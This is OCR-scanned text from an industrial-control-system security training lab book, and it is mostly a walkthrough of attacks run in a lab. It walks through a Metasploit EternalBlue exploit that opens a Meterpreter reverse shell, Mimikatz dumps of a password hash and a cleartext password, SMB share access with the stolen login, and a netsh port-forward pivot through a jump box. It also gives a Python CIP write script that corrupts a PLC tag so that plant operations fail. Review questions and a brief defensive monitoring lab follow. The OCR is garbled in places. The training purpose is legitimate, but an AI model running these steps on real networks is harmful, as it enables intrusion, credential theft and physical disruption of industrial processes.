3 exploit/windows/smb/ms17 @10 eternalblue win8 2017-03-14 average MS17-010 EternalBlue SMB Remot
e Windows Kernel Pool Corruption for Win8+

4 exploit/windows/smb/msl7 010 psexec 2017-03-14 normal MS17-010 EternalRomance/Eterna
1Synergy/EternalChampion SMB Remote Windows Code Execution

msf5 > JJ

2. Load an EternalBlue exploit module. Type the following command in the terminal and press the Enter key.
use exploit/windows/smb/ms17_010_eternalblue

msf5 auxiliary( ) > use exploit/windows/smb/msl7 010 eternalblue
msf5 exploit( Vil

3. Display the specific module options. Type the following command in the terminal and press the Enter key.
show options

msfS auxiliary( ) > use exploit/windows/smb/msl7 010 eternalblue
msfS5 exploit( ) > show options

Module options (exploit/windows/smb/msl7 010 eternalblue):
Name Current Setting Required Description

RHOSTS The target address range or CIDR identifier

RPORT The target port (TCP)

SMBDomain . (Optional) The Windows domain to use for authentication
SMBPass (Optional) The password for the specified username
SMBUser (Optional) The username to authenticate as

VERIFY ARCH true s Check if remote architecture matches exploit Target.
VERIFY TARGET true Check if remote 0S matches exploit Target.

Exploit target:

Id Name

0 windows 7 and Server 2008 R2 (x64) All Service Packs

msfS exploit(

4. Configure the module with a victim host IP address. Type the following command in the terminal and press the Enter key.

set RHOSTS 172.30.2.AAB
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Where: AA = Pod# =
B — Student# =
Examples:
Podl / Student 1

set RHOSTS 172.30.2.11

Podl2 / Student 2
set ‘RHOSTS 172.30.2:.122

msf5 exploit(

) > set RHOSTS 172.30.2.11

RHOSTS => 172.30.2.11
msf5 exploit(

5. Display the specific available payloads for the exploit. Type the following command in the terminal and press the Enter key.

show payloads

msfS exploit( ) > show payloads

CEVAGED

Name

generic/custom
generic/shell bind tcp
generic/shell reverse tcp
windows/x64/exec
windows/x64/loadlibrary
windows/x64/messagebox
windows/x64/meterpreter/bind ipv6 tcp
windows x64 IPv6 Bind TCP Stager
windows/x64/meterpreter/bind ipv6 tcp uuid
windows x64 IPv6 Bind TCP Stager with UUID Support
windows/x64/meterpreter/bind named pipe
Windows x64 Bind Named Pipe Stager
windows/x64/meterpreter/bind tcp
windows x64 Bind TCP Stager
windows/x64/meterpreter/bind tcp rc4
Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 windows/x64/meterpreter/bind tcp uuid
Bind TCP Stager with UUID Support (Windows x64)
12 windows/x64/meterpreter/reverse http
64), Windows x64 Reverse HTTP Stager (wininet)
13 windows/x64/meterpreter/reverse https
64), Windows x64 Reverse HTTP Stager (wininet)
14 windows/x64/meterpreter/reverse named pipe
64), Windows x64 Reverse Named Pipe (SMB) Stager
15 windows/x64/meterpreter/reverse tcp
64), Windows x64 Reverse TCP Stager

Disclosure Date

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

normal

normal

Check

Description

Custom Payload

Generic Command Shell, Bind TCP Inline
Generic Command Shell, Reverse TCP Inline
Windows x64 Execute Command

Windows x64 LoadLibrary Path

Windows MessageBox x64

Windows Meterpreter (Reflective Injection

windows Meterpreter (Reflective Injection

Windows Meterpreter (Reflective Injection
Windows Meterpreter (Reflective Injection
Windows Meterpreter
windows Meterpreter (Reflective Injection
Windows Meterpreter (Reflective Injection
windows Meterpreter (Reflective Injection
windows Meterpreter (Reflective Injection

windows Meterpreter (Reflective Injection

Meterpreter is a "dynamically extensible in-memory payload". Type the following command in the terminal and press the

Enter key to set the Meterpreter reverse shell as the payload module.

set payload windows/x64/meterpreter/reverse_tcp

Ref: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

msf5 exploit(

payload => windows/x64/meterpreter/reverse tcp

I |

msf5 exploit(

) > set payload windows/x64/meterpreter/reverse tcp
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7 Review the currently configured module options. Type the following command in Metasploit and press the Enter key.

show options

msf5 exploit( ) > show options
Module options (exploit/windows/smb/ms17 010 eternalblue):

Name Current Setting Required Description

RHOSTS 17253052311 The target address range or CIDR identifier

RPORT 445 The target port (TCP)

SMBDomain g no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as

VERIFY_ ARCH true = Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote 0S matches exploit Target.

Payload options (windows/x64/meterpreter/reverse tcp):

Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: , seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT Sl yes The listen port

Exploit target:

Id Name

® Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit(

8. The reverse shell requires a host IP and listening port number of an attack-controlled computer for the payload to connect to
on success of the exploit. Identify the IP address of your Kali Linux VM. Type the following command and press enter. (Note:

your hostname will be different then shown in the image.)

hostname -I

5 exploit( ) > hostname -I
exec: hostname -I

172.16.1.103

9. Configure the module to use your local Kali Linux VM. Type the following command in the terminal and press the Enter key.

set LHOST 172.16.XXX.XXX

Where 172.16.xxx.xxx = IP Address of Your Kali Linux VM
) > set LHOST 172.16.1.103

) > i

10. Review the configured module options to ensure the configurations are set properly. Type the following command in the

terminal and press the Enter key.

show options
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msf5 exploit( ) > show options
Module options (exploit/windows/smb/msl7 010 eternalblue):

Name Current Setting Required Description

RHOSTS 1723052011 The target address range or CIDR identifier

RPORT 445 yes The target port (TCP)

SMBDomain 5 no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY TARGET true yes Check if remote 0S matches exploit Target.

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 17251612183 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit( N |

. Take note of the configured listening port (LPORT). This is the default listening port on the Kali Linux VM used by the reverse
shell payload.

. Run the configured EternalBlue exploit against the vulnerable service listening on the open TCP port 445 within the known
IDMZ network. Type the following command in the terminal and press the Enter key.

run
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msf5 exploit( ) > run

[*] Started reverse TCP handler on 172.16.1.103:4444
1445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x6

[+] 172.30.
(64-bit)
%] 172530

1723
172.
1728
172.
172.
172.
172.
172.
172<
172.
L7228
1725
172.

[*] 172.

PR]172¢

[X]a172%

[+] 1722

N

1445 Connecting to target for exploitation.

1445 Connection established for exploitation.

1445 - Target 0S selected valid for 0S indicated by SMB reply

:445 - CORE raw buffer dump (51 bytes)

1445 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
1445 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
1445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
1445 - 0x00000030 6b 20 31 k1

1445 - Target arch selected valid for arch indicated by DCE/RPC reply

1445 - Trying exploit with 12 Groom Allocations.

1445 - Sending all but last fragment of exploit packet

:445 - Starting non-paged pool grooming

1445 Sending SMBv2 buffers

1445 - Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.

1445 Sending final SMBv2 buffers.

:445 - Sending last fragment of exploit packet!

1445 Receiving response from exploit packet

1445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 172. :445 - Sending egg to corrupted connection.

[*] 172.30.2.11:445 - Triggering free of corrupted buffer.

[*] Sending stage (206403 bytes) to 172.30.2.11

[*] Meterpreter session 1 opened (172.16.1.103:4444 -> 172.30.2.11:49157) at 2022-02-27 10:52:49 -0600
[+] 172.30.2.11:445 -

[+] 172.30.2.11:445 -

[+] 172.30.2.11:445 -

NNNNNNNNNNNNNNNNNNNN

meterpreter >

On execution, Metasploit first sets up a reverse shell handler listening on port 4444 on the attacker's computer. It scans the
victim host for the likelihood of being vulnerable to the EternalBlue exploit. It than attempts to run the EternalBlue exploit
against the victim host. On success, the payload, meterpreter, is dropped into memory of the victim host which then calls
home (reverse shell) to Metasploit, over port 4444, on the attacker computer (Kali Linux VM).

13. Identify what account the Meterpreter session is using on the victim machine. Type the following command in the terminal
and press the Eenter key.

getuid

meterpreter = getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter > |

Note which account on the victim host is running the Meterpreter session.

Note

Running the exploit multiple times may destabilize the system. If having difficulty please ask the instructor, they may need
to reboot the target server.

Task 4 -- Dump cleartext credentials

1. Meterpreter has capable of loading additional modules onto the victim host. Mimikatz is a post-exploitation tool bundled with
useful tasks mostly used for stealing credentials from a victim host. Load the Mimikatz module. Type the following command
in the terminal and press the Enter key to load mimikatz.
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load mimikatz

meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer 0S5 (Windows 2008 R2 (Build 7601, Service Pack 1).). Did you mean t

o 'load kiwi' instead?

2. Type the following command in the terminal and press the Enter key to list the various Mimikatz commands.

help mimikatz

meterpreter > help mimikatz

Mimikatz Commands

Command Description

kerberos Attempt to retrieve kerberos creds.
livessp Attempt to retrieve livessp creds.
mimikatz command Run a custom command.

msv Attempt to retrieve msv creds (hashes).
ssp Attempt to retrieve ssp creds.

tspkg Attempt to retrieve tspkg creds.
wdigest Attempt to retrieve wdigest creds.

meterpreter > |j

3. Type the following command in the terminal and press the Eenter key to retrieve password hashes from the victim host.

msv

meterpreter > msv

[+] Running as SYSTEM
Retrieving msv credentials

msv credentials

AuthID Package Domain User Password

0;1967242 NTLM FILESERVER engineer Im{ fdf27417bbaa0714c2a20cae7226el7d }, ntlm{ 11cbObe99318fa53c72fc6el9cf2a
915 }
0;1967218 NTLM FILESERVER engineer Ilm{ fdf27417bbaa®714c2a20cae7226el7d }, ntlm{ 11cbobe99318fa53c72fc6el9cf2a
915 }

Negotiate WORKGROUP FILESERVER$ .5. (Credentials KO)

NTLM .5. (Credentials KO)

Negotiate NT AUTHORITY LOCAL SERVICE .5. (Credentials KO)

NTLM WORKGROUP FILESERVERS .S. (Credentials KO)

meterpreter > |}

4. Note that the LM and NTLM hashes are displayed. Retrieve Kerberos credentials of those accounts in clear text. Type the

following command in the terminal and press the Enter key.

kerberos
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meterpreter > kerberos

[+] Running as SYSTEM

[*] Retrieving kerberos credentials
kerberos credentials

Domain User Password
Negotiate WORKGROUP FILESERVER%
NTLM
Negotiate NT AUTHORITY LOCAL SERVICE
NTLM WORKGROUP FILESERVERS$
;1967242 NTLM FILESERVER engineer Roast3r#
0;1967218 NTLM FILESERVER engineer Roast3r#

meterpreter > |

5. Write down the username and password and back out of the victim host.

6. Type the following command in the terminal and press the Enter key to exit meterpreter.

exit

7. Type the following command in the terminal and press the Enter key to exit Metasploit.

exit

meterpreter > exit
[*] Shutting down Meterpreter...

Reason: User exit
) = exit

8. Type the following command in the terminal and press the Enter key to change the working directory.

cd /mnt

:~# cd /mnt

s /mnt# I

9. Type the following command in the terminal and press the Eenter key to find SMB shares.

smbmap -u engineer -p Roast3r# -H 172.30.2.AAB
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Where AAB:

AAB is based on your Pod and Student number derived from the method below.

AA = Pod#=1-15
B = Student#=1-2

Example

Pod 1/ Student 1 = smbmap -u engineer -p Roast3r#-H 172.30.2.11
Pod 12 / Student 2 = smbmap -u engineer -p Roast3r#-H 172.30.2.122

10. Note that the SMB share "Share" allows reading and writing. Type the following command in the terminal and press the Enter
key to make a directory called "share".

mkdir share

: # mkdir share

11. Type the following command in the terminal and press the Enter key to mount the remote SMB share. Use the password
discovered earlier Roast3r# when prompted.

mount -t cifs //172.30.2.AAB/Share /mnt/share -o username=engineer

Where AAB:

AAB is based on your Pod and Student number derived from the method below.

AA = Pod#=1-15
B = Student#=1-2

Example

Pod 1 / Student 1 = mount -t cifs //172.30.2.11/Share /mnt/share -o username=engineer
Pod 12 / Student 2 = mount -t cifs //172.30.2.122/Share /mnt/share -o username=engineer

12. Type the following command in the terminal and press the Enter key to change the directory to the mounted share.
cd share
13. Type the following command in the terminal and press the Enter key to list the contents of the directory.

1s
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mnt# mount -t cifs //172.30.2.5/Share /mnt/share -o username=engineer
Password for engineer@//172.30.2.5/Share: *¥¥kkk¥¥

mnt# cd share/

nnt/share# 1s

2711PC-UMOO1A-EN-P.pdf FTViewMEUserENU.pdf
e 11.0.09 FTViewSEInstallENU.pdf

Info FTViewSEUserENU.pdf
*dotNET 3.5 SP1 installation.htm’ ICS612Pod07.apa s2500-universalk9-mz.SPA.1.7.0.bin
Firmware 'KEPServer Enterprise Release Notes.txt'’ Useless0l.ckp
FlexNET_UsersGuide_11_7.pdf L2networkingTN. pdf
FTViewMEInstallENU.pdf pa-220-hardware-reference.pdf
mnt/share# [J

Note

The SMB share on the server is full of information that would be interesting/useful to an attacker.

1. What account is SMB using? Why is that important?

2. The payload used was a reverse TCP Meterpreter shell. How could you prevent this reverse connection?

3. How is mimikatz able to dump cleartext credentials?

Exercise Takeaways

It is important to understand the process that adversaries will follow to understand an environment enough so they can leverage
it, then use the environment to build an operational understanding from within. In the initial effort to understand the environment
enough, very common tools will be used as well as exploits targeting known vulnerabilities. Scanning an environment and
discovering systems with TCP Port 445 (i.e. SMB) open, could be interesting to an adversary as they may then interact with the
discovered systems to see if any are vulnerable to a known SMB exploit like the EternalBlue vulnerability. Identifying any systems
actively communicating on TCP Port 445 and vulnerable to EternalBlue, can then be exploited further to run additional tools like
Mimikatz to dump cleartext credentials. Having access and credentials can then enable the next stage of the attack
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Lab 3.5 -- RDP Pivot Attack

Background

Total Lab Time: 15 minutes
Tools Used:
- Kali Linux - Kali Linux is an open-source penetrating testing platform/distro that is maintained and funded by Offensive

Security

- rdesktop - rdesktop is an open-source UNIX client for connecting to Windows Remote Desktop Services, capable of natively
speaking Remote Desktop Protocol (RDP) in order to present the user's Windows desktop

+ netsh - Netsh is a command-line scripting utility that allows you to display or modify the network configuration of a computer
that is currently running.

Objectives

+ Connect to the DMZ Jump Box using the Remote Desktop Protocol (RDP)
+ Authenticate with stolen credentials from previous exercise

+ Route network traffic through the DMZ Jump Box into the Plant environment

Task 1 -- RDP to DMZ Jump Box

1. Open the Kali Linux VM

2. Open the Desktop folder. Click " Files " icon from the menu on the left. Click Desktop from menu directory list within Files.

B Desktop

[ Documents
® Downloads

[ | J1 Music

3. Copy the Evitl.txt file from the Lab 3.5 folder from the student ISO to the Kali Linux VM by dragging the "Evil.txt" file from
the student ISO into the Desktop folder within Kali. If having difficulty copying files, ask the instructor for assistance.

4. Open a Terminal window and navigate to the Desktop folder.
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5. Type the following command in the terminal and press the Enter key to remotely connect to the Jump Box (OWS).

rdesktop 172.20.3.AAB

Where: Pod# = 1 - 15
1

Student# =

le;

Examples:

Podl / Student 1 = 172.20.3.11
Podl2 / Student 2 = 172.20.3.122

6. Log in using credentials.

Username = ICS612
Password = ICS612

Task 2 -- Configure Jump Box to forward network traffic

1. Within the Jump Box (OWS), open a command prompt as Administrator

2. Type the following command in the terminal and press the Enter key to set up port forwarding

netsh i p a v 1=4444 1listena=172.20.3.AAB connectp=21 c=172.16.AA.3

Note

For reference, the full command is shown below. This command sets up a network proxy between an IPv4 and IPv6
networks and applications. It sets the portproxy server to listen on a specific port and IPv4 address and maps a port and
IPv4 address to send messages received after establishing a separate TCP connection.

netsh interface portproxy add v4tov4 listenport=4444 listenaddress=172.20.3.AAB connectport=21
connectaddress=172.16.AA.3
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3 Type the following command in the terminal and press the Eenter key to display active connections

netstat -ant

C:\Windows\system32 >netstat

Active Connections

Proto
tate

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

Local Address

8.0.90.0:135
0.0.90.0:445
8.0.90.0:3389
8.90.0.0:47001
8.0.90.0:49152
8.0.90.0:49153
8.0.0.0:49154
8.90.90.0:49155
9.0.9.90:49156
172.30.1.10:139
172.380.1.168:3389
172.30.1.10:4444
£z:=1:13S

L= =445

Foreign Addre

0.0.0.0:0
0.0.0.0:0
0.0.0.0:0
8.0.0.0:0
8.6.0.0:0
A.60.6.0:0
8.6.90.0:0
0.0.6.0:0
0.0.0.0:0
0.0.6.0:0

10.40.0.11:60886

0.0.0.0:0
£=21:=0
[=:1:0

State

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

ESTABLISHED

LISTENING
LISTENING
LISTENING

Of f load

InHost
InHost
InHost
InHost
InHost

InHost

InHo

InHost
InHost
InHost
InHost
InHost

InHost

S

Note

If you do not see 'listening on port 4444', ask the instructor for assistance.

4. Confirm the DMZ Jump Box is listening on TCP port 4444

Task 3 -- Pivot through Jump Box

1. Type the following command in a new terminal window on the Kali Linux VM and press the Enter key to use the ftp client.

ftp

Type the following command in the 'ftp client' and press the Enter key to connect to the ftp server by pivoting through the
Jump Box.

open 172.20.3.AAB 4444

Use the following credentials to test if anonymous login is allowed on this FTP server.

User = ‘anonymous’
Password = ‘any@any.com’
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Where: AA Pod# = 1 - 15
B = Student# = 1 =2
Examples:
Podl / Student 1 = 172.20.3.11

Podl2 / Student 2 = 172.20.3.122

root@kali: ~/Desktop/Lab 3

File Edit View Search Terminal Help
:~/Desktop/Lab 3.5# ftp
ftp> open 172.30.1.10 4444
Connected to 172.30.1.10.
220 Service ready for new user.
Name (172.30.1.10:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in, proceed.

Remote system type is Windows CE.

ftp> dir

200 Command okay.

150 File status okay; about to open data connection.
08-23-19 01:52 <DIR> ~MER. 00

08-23-19 65:55 519 FTPD.tmp
226 Closing data connection.

ftp> |§

2. The Remote system operating system is Windows_CE for the FTP server. This should confirm that the FTP server you
connected to is the HMI.

3. Type the following command in the terminal and press the Enter key to upload a file to the FTP server

lcd /root/Desktop
put Evil.txt

4. Type the following command in the terminal and press the Enter key to list the contents of the directory

dir
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Desktop/Lab 3.5# ftp
ftp> open 172.30.1.10 4444
Connected to 172.30.1.10.
220 Service ready for new user.
Name (172.30.1.10:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in, proceed.
Remote system type is Windows CE.
ftp> put Evil.txt
local: Evil.txt remote: Evil.txt
200 Command okay.
150 File status okay; about to open data connection.
226 Closing data connection.
25 bytes sent in 0.00 secs (198.4883 kB/s)
ftp> dir
200 Command okay.
150 File status okay; about to open data connection.
08-23-19 01:52 <DIR> ~MER. 00O
08-23-19 06:22 817 FTPD.tmp
08-23-19 06:22 25 Evil.txt
226 Closing data connection.
ftp>

5. Type the following command in the terminal and press the Eenter key to close the ftp connection.
bye

6. Type the following command in the IDMZ Jump Box terminal and press the Enter key to remove the port forwarding on the
DMZ Jump Box.

netsh 1interface portproxy delete v4tov4 listenport=4444 listenaddress=172.20.3.AAB

Where: AA = Pod# = 1 - 15
B = Student# = L, = 2
Examples:
Podl / Student 1 = 172.20.3.11

Podl2 / Student 2 = 172.20.3.122

1. What technique is demonstrated in this exercise?

2. Does an attacker need to RDP to the Jump Box to run the netsh command?
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3 What are some ways to detect/prevent this type of attack?

Exercise Takeaways

Remote access is used to connect from an untrusted network to a trusted zone asset.

As an adversary leverages capabilities and footholds gained in previous stages of an attack, it is quite likely that an adversary
would target remote access and gain entry by leveraging internal footholds and trusted user credentials.

This was the specific approach used in the Ukraine 2015 attack against three different distribution utilities that resulted in power
outages for more than a quarter million customers.

The "Evil.txt" file uploaded to the FTP server is a simple text file, but it demonstrates that an attacker can pivot through a
compromised machine, such as the DMZ Jump Box, and gain access to resources (e.g., systems, files, etc.) that they would not
normally be able to access. The attacker can then stage tools, exfiltrate data, and/or continue pivoting through the environment.
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Lab 3.6 -- Stage 2 Attack
Backgrownd

Background
Total Lab Time: 20 minutes
Tools Used:

« Kali-Linux VM
+ Python is an interpreted, high-level, general-purpose programming language.

« Python CPPPO Library

There is an "Initialize" routine in each CompactLogix PLC that is active when the processor is powered up or when the PLC is
transitioned from program to run. The idea of an "Initialize" routine is to set critical values during power up and is often used to
reset the processor if data values are incorrect.

This attack will change the IP Address of the Click PLCs stored in the CompactLogix PLC data table used by the Pod PLC when
setting up Modbus communications to read and write values to and from the Click PLC. Changing the IP Addresses of the Click
PLCs in the initialization routine will not take effect until the CompactLogix PLC is either power cycled or when the mode switch is
toggled from program to run. This attack is waiting for a power glitch or an unexpected download that takes the PLC from
program to run mode.

Note

While the overall IP Address of the Click PLC is stored as a String, each character in the String is accessed in a Short Integer
(SINT) array.

Objectives

+ Poll the CompactLogix PLC for the value of Click1Address.DATA[10] or Click2Address.DATA[10]
+ Send an evil CIP command to change the value of Click1Address.DATA[10] or Click2Address.DATA[10]

Task 1 -- Poll the CompactLogix PLC

1. From your Windows VM, open your Allen Bradly PLC lab 2.1 project acd file in Studio 5000. Lab Files\Lab 2.1\Allen-
Bradley\Pod {AAA}\.

Where the {AAA} value is your pod number.

2. Download the project and go 'Online’ with your CompactLogix PLC (Pod PLC).
3. Open the Controller Tags and scroll to the tags named 'Click1Address' and 'Click2Address'.

4. Click the ' +'symbol at the left of the tag name to expand the STRING tag structure.
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5 Click the' +'symbol at the left of the .DATA tag structure to drill down into each decimal value that represents each character

of the string.
Scope: | EIRawPod1 v‘ Show: |NI Tags v || Y.
Name =3| & | Value € | Force Mask € | Style Data Type Description
+ Cli e TIMER Click 2 Actual Bag...
— Click 2Address e '172.16.1.0222port=502" {...} STRING Click 2 Address U...
[+ ress. E] 21 Decimal DINT Click 2 Address U..
—| Click2Address. DATA S Rooch) {...}|Decimal SINT[82] Click 2 Address U..
+ Click2Address. DATA[0] (=] 49 Decimal SINT Click 2 Address U...
'+ Click2Address. DATA[1] (=] 55 Decimal SINT Click 2 Address U...
+ Click2Address DATA[2] (=] 50 Decimal SINT Click 2 Address U...
'+ Click2Address DATA[3] (=] 46 Decimal SINT Click 2 Address U...
'+ Click2Address DATA[4] (=] 49 Decimal SINT Click 2 Address U...
'+ Click2Address DATA[5] (=] 54 Decimal SINT Click 2 Address U...

You will notice 'Click1Address'is 172.16.{AAA}.012?port=502 and 'Click2Address'is 172.16.{AAA}xx.0222?port=502

Where the {AAA} value is your pod number.

These values configure (initialize) the Modbus TCP communications with the IP address of the Click PLCs. The ladder logic
assumes these values are communicating to the correct PLC treating them as constant values. The 'Data Type' of these tags
are configured as 'STRING' which is comprised of an overall string length and each ASCII character in the string represented
by the ASCII value stored as Single Integers (SINT). The position of the character is as follows:

Click2Address.DATA[0] Value 49 = ASCII 1 Click2Address.DATA[1] Value 55=ASCII 7 15! Octet of Click IP Address
Click2Address.DATA[2] Value 50 = ASCII 2 ... Click2Address.DATA[9] Value 48 = ASCII 0 Click2Address.DATA[10] Value 50
=ASCII2 4t Octet of Click IP Address Click2Address.DATA[11] Value 50 = ASCII 2

6. Leave Studio 5000 open let's setup an attack against a single character in the string tag that is part of the Click IP address.
7.Copy the " Lab 3.6 " folder from your Student ISO to the Kali Linux VM Desktop.

8. Open a Terminal window by right clicking the Terminal icon and clicking " New Window ".
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9 Type the following command in the terminal and press the Enter key to change the working directory.

cd /root/Desktop/Lab\ 3.6

# cd /root/Desktop/Lab\ 3.6/
Desktop/Lab 3.6# l

1t character within the 4t octet related

10. Using the Python CPPPO library, begin a continuous read of the value stored at the 1
to your Click PLC. Type the following command in the terminal and press the Enter key to execute the polling script against

the Pod PLC.

python3 stage2_polling.py -a 172.16.AA.2 -c B

Where: AA = Pod# = 1 - 15
B Student# = 1 -2

Examples:
Podl / Student 1
python3 stage2 polling.py -a 172.16.1.2 -c 1

Podl2 / Student 2
python3 stage2 polling.py -a 172.16.12.2 -c 2

11. Review the output and leave the script running.

‘Desktop/Lab 3.6# python3 stage2 polling.py -a 172.16.1.2 -c 2
05:24:10 2019: Click2Address.DATA[10] == [50]
05:24:11 2019: Click2Address.DATA[10] [50]

05:24:12 2019: Click2Address.DATA[10] == [50]
05:24:13 2019: Click2Address.DATA[10] == [50]
05:24:14 2019: Click2Address.DATA[10] [50]

The tag values in this screenshot is "50", which is the Decimal representation of '2'in ASCII. It represents the second digit of
the 4™ octet of the Click PLC value within the string tag.

Task 2 -- Send Evil CIP Command

1. Using the Python CPPPO library, send a write command to the value stored at the 11 character within the 4™ octet related
to your Click PLC. Leave the stage2_polling.py script running and open a second Terminal window.

File Edit View Search Terminal Help
New Tab op/Lab\ 3.6/

New Window Shift+Ctrl+N
Close Tab

Close Window
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2 Type the following command in the terminal and press the Eenter key to execute the attack script that will change the second
digit of the 4™ octet of the Click PLC value within the string tag.

python3 stage2_attack.py -a 172.16.AA.2 -c B

= Pod#
Student#

Where:

le;
Il
=
|

N

Examples:
Podl / Student 1
python3 stage2 attack.py -a 172.16.1.2 -c 1

Podl2 / Student 2
python3 stage2 attack.py -a 172.16.12.2 -c 2

3. Review the output of both the stage2_polling.py and stage2_attack.py scripts. Notice how the tag value changes after
running the attack script.

»sktop/Lab 3.6# python3 stage2 pollin
:30:51 2019: Click2Address.DATA[10]
:30:52 2019: Click2Address.DATA[10]
:30:53 2019: Click2Address.DATA[10]
:30:54 2019: Click2Address.DATA[10])
:30:55 2019: Click2Address.DATA[10]
:30:56 2019: Click2Address.DATA[10])
:30:57 2019: Click2Address.DATA[10])
:30:58 2019: Click2Address.DATA[10]
:30:59 2019: Click2Address.DATA[10]
:31:00 2019: Click2Address.DATA[10]
:31:01 2019: Click2Address.DATA[10]

.py -a 172.16.1.2 -c 2
[(50]
[50]
[50]
[49]
[49]
[49]
[49]
[49]
[49]
[49]
[49]

| DU | | B | | A | B [ L A | = |

womowmwwnnnunn

2
2
2
P
2
P
P
P
2
P
2

root@kali: ~/Desktop/Lab 3.6

File Edit View Search Terminal Help

:~/Desktop/Lab 3.6# python3 stage2 attack.py -a 172.16.1.2 -c 2
Starting Stage 2 Attack.
Finished Stage 2 Attack.

Desktop/Lab 3.6# |}

. Try performing filling, grinding, or mixing operation to see if they work properly.

. Toggle the physical switch on the CompactLogix PLC from ' Run'to ' Prog'and back to 'Run".

. Return to Studio 5000 and review the tag values of Click1Address and Click2Address.

N [«)] (3] L

. Notice the IP Address within the string tag after the attack has changed and no longer aligns to the ClickPLC IP address that
was seen earlier.

8. Re-try performing filling, grinding, or mixing operation to see if they work properly. You should find the operation does not
work properly because the pod PLC is attempting to reading the wrong Click PLC IP address, it is not reading the correct
filling, grinding or mixing command.
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Scope: l FEIRawPod1 vl Show: |A|| Tags v “ .
| Name =z| e | Value « | Force Mask € | Style Data Type Description |
Click 24 : T TIMER Click 2 Actual Bag...
® '172.16.1.0122port=502" {...} STRING Click 2 Address U...
'+ Click2Address. =] 21 Decimal DINT Click 2 Address U..
—| Click2Address. DATA =} Hemalh {...}|Decimal SINT[82] Click 2 Address U..
'+ Click2Address. DATA[0] = 49 Decimal SINT Click 2 Address U..
[+ Click2Address. DATA[1] (=] 55 Decimal SINT Click 2 Address U..
|+/ Click2Address. DATA[2] (=] 50 Decimal SINT Click 2 Address U..
+ Click2Address DATA[3] (=] 46 Decimal SINT Click 2 Address U..
+ Click2Address DATA[4] =] 49 Decimal SINT Click 2 Address U
'+ Click2Address. DATA[5] =] 54 Decimal SINT Click 2 Address U

9.Use cul + c toend the python scripts and close both terminal windows.

10. Fix the values in the data table.

Read this first if you are sharing a Pod with another student

Studio 5000 allows one 'Online' session to make changes to the CompactLogix while other 'Online' sessions are "read-
only". Working together with your fellow student, determine which student has the ability to change the tag values back to
their original values. The student who is 'Online' and is not the 'read-only' session will be able to change the tag values.

Change the string values back to their original values by using the Controller Monitor Tag tab and with your cursor hovering
over the cell in the value column, click the "..." button as it appears. This will bring up a string editor window.

Change 'Click1Address'is 172.16.{AAA}.0122port=502 and 'Click2Address'is 172.16.{AAA}xx.0222port=502

Where the {AAA} value is your pod number.

11. Toggle the physical switch on the CompactLogix PLC from 'Run 'to ' Prog'and back to 'Run .

12. Re-try performing filling, grinding, or mixing operation to ensure everything works properly.

1. What type of troubleshooting difficulties would this type of attack create?

2. While this lab sent commands directly to the CompactLogix PLC, could this attack been accomplished by routing the traffic
through a compromised server such as the one in the previous exercise?

3. What are some ways to detect/prevent this type of attack?

302 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

Technet24



Exercise Takeaways

The effect of this attack is that the Modbus registers will continue to operate; however, they will be reading the wrong Click.
Essentially, when the Useless Box switch from Student 2 is changed, it will run the intended logic for Student 1's Click PLC and vice

versa. Imagine if each Click PLC were controlling a different machine or a different process. This would essentially read the wrong
inputs, which could be catastrophic.
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Lab 4.1 -- Local Monitoring

Background

In this lab we will examine a local collection of pcaps using local tools to provide a quick analysis of ICS protocols and
communications. We will utilize the free ICS monitoring and analysis tools that have been provided within the RELICS virtual
machine distribution.

RELICS Virtual Machine Distribution

+ CyberLens

« Integrity, formerly known as Sophia

Total Lab Time: 30 minutes

Objectives

« With a full understanding of how your servers, workstations, ICS devices, applications, and network infrastructure is
configured you will still find yourself looking to understand the communications within your environment.

« It is important to understand what your communications look like when operations is in a "normal” condition and when in an
abnormal, or failover, or emergency condition.

Task 1 -- Utilize CyberLens to examine a static packet capture from a local Pod

1. Launch the RELICS Virtual Machine

2. Copy the " student Kit Com Map.pcap " file from your Lab 4.1 directory located on your student ISO to the ICS 612 folder
located on the RELICS VM desktop

3. Locate the CyberLens icon in the application tray on the left side

—

4. Right click the cyberLens icon and select start Services

Start Services

Stop Services b

CyberLens™

5. After the terminal window closes, right click the cyberLens icon again and select cyberLens

6. If prompted, login as relics with a password of relics and click the agree to License Agreement
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Username

relics

Password &

& Agree to License Agreement @

Sign in

7. We will load a packet capture from a sensor that collected traffic within a control system network. To load the offline file,
select the sensor console from the tool bar on the left-hand side of the CyberLens application

Sensor Console

8. From the Sensor Consolg, scroll down and click the select files button. Navigate to the RELICS desktop and within the ICS

